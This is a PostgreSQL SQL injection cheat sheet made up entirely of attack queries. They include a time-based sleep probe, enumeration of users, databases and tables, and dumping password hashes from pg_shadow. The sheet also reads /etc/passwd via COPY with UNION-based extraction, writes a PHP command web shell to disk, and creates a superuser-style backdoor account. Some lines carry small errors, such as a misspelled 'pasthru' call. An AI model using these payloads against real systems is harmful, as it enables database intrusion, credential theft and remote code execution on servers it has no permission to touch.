SELECT pg_sleep(10);
 SELECT version()
 SELECT user; 
 SELECT current_user; 
 SELECT session_user; 
 SELECT usename FROM pg_user;
 SELECT getpgusername();
 SELECT usename FROM pg_user;
 SELECT usename, passwd FROM pg_shadow;
 SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user;
 SELECT usename FROM pg_user WHERE usesuper IS TRUE
 SELECT inet_server_addr();
 SELECT inet_server_port();
 SELECT current_setting('data_directory');
 SELECT current_setting('hba_file');
 SELECT current_database()
 SELECT datname FROM pg_database
 SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') 
 SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid) 
 SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%GuessCommonColumnName%'; 
 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0;
 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
 CREATE TABLE mydata(t text);
 COPY mydata FROM '/etc/passwd';
 ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1;
 ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;
 DROP TABLE mytest mytest;
 CREATE TABLE mytable (mycol text);
 INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
 COPY mytable (mycol) TO '/tmp/test.php';
 CREATE USER HR PASSWORD 'Zer0Lulz';
 CREATE USER HR PASSWORD 'Zer0Lulz' CREATEUSER;
 ALTER USER HR CREATEUSER CREATEDB;
 DROP USER HR;